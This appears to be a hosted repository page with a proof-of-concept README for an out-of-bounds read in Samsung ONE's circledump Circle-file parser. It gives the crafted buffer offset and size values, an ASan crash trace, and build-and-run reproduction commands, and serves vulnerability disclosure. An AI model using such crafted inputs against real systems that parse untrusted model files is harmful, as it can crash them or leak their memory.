You can deploy this model and start earning money today!

AgentRen/
circle-external-buffer-oob-poc

Name: circle-external-buffer-oob-poc
Availability: InStock

Views

No views yet

Circle External Buffer Offset/Size OOB Read PoC

This repository contains a minimal Circle model file that demonstrates an out-of-bounds read in Samsung ONE's Circle inspection path.

Summary

Samsung ONE's mio_circle::Reader::buffer_info() handles Circle external buffers by checking only the starting offset with std::vector::at(), then returning the attacker-controlled size to callers. A Circle file can set an external buffer to start at the final byte of the file and advertise a much larger size. circledump then reads past the end of the file buffer while dumping that buffer.

Artifact

PoC model: poc/external_offset_oob.circle
SHA256: 20962ae3e01d2489f1ba6766f4d804414e5e5cb490589a23aa986f97abe0abd5
File size: 232 bytes
External buffer values: offset=231, size=4096

Evidence

The captured ASan trace is in poc/asan-circledump-direct.stderr.txt.

Relevant top of stack:

text

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
circledump::dump_buffer(...) Dump.cpp:48
circledump::dump_model(...) Dump.cpp:404
operator<<(...) Dump.cpp:479
circledump_direct_driver.cpp:41
0 bytes after 232-byte region

Reproduction Outline

Use Samsung ONE current source and FlatBuffers 23.5.26. Build flatc/libflatbuffers, regenerate the Circle schema header, then compile the direct circledump core driver with ASan:

bash

cmake -S /tmp/flatbuffers-23.5.26 -B /tmp/flatbuffers-23.5.26-build \
  -G Ninja -DFLATBUFFERS_BUILD_TESTS=OFF -DFLATBUFFERS_INSTALL=OFF -DCMAKE_BUILD_TYPE=Release
cmake --build /tmp/flatbuffers-23.5.26-build --target flatc flatbuffers -j2

clang++ -std=c++17 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
  -I/tmp/flatbuffers-23.5.26/include \
  -I/tmp/circle-include-current \
  -I/path/to/ONE/compiler/mio-circle/include \
  -I/path/to/ONE/compiler/circledump/include \
  -I/path/to/ONE/compiler/circledump/src \
  poc/circledump_direct_driver.cpp \
  /path/to/ONE/compiler/circledump/src/Dump.cpp \
  /path/to/ONE/compiler/circledump/src/MetadataPrinter.cpp \
  /path/to/ONE/compiler/circledump/src/OpPrinter.cpp \
  /path/to/ONE/compiler/mio-circle/src/Reader.cpp \
  /path/to/ONE/compiler/mio-circle/src/Helper.cpp \
  /tmp/flatbuffers-23.5.26-build/libflatbuffers.a \
  -o /tmp/circledump_direct_driver_current

ASAN_OPTIONS=abort_on_error=0:symbolize=1 \
  /tmp/circledump_direct_driver_current poc/external_offset_oob.circle

Full local notes are in TECHNICAL_NOTES.md.

AgentRen/circle-external-buffer-oob-poc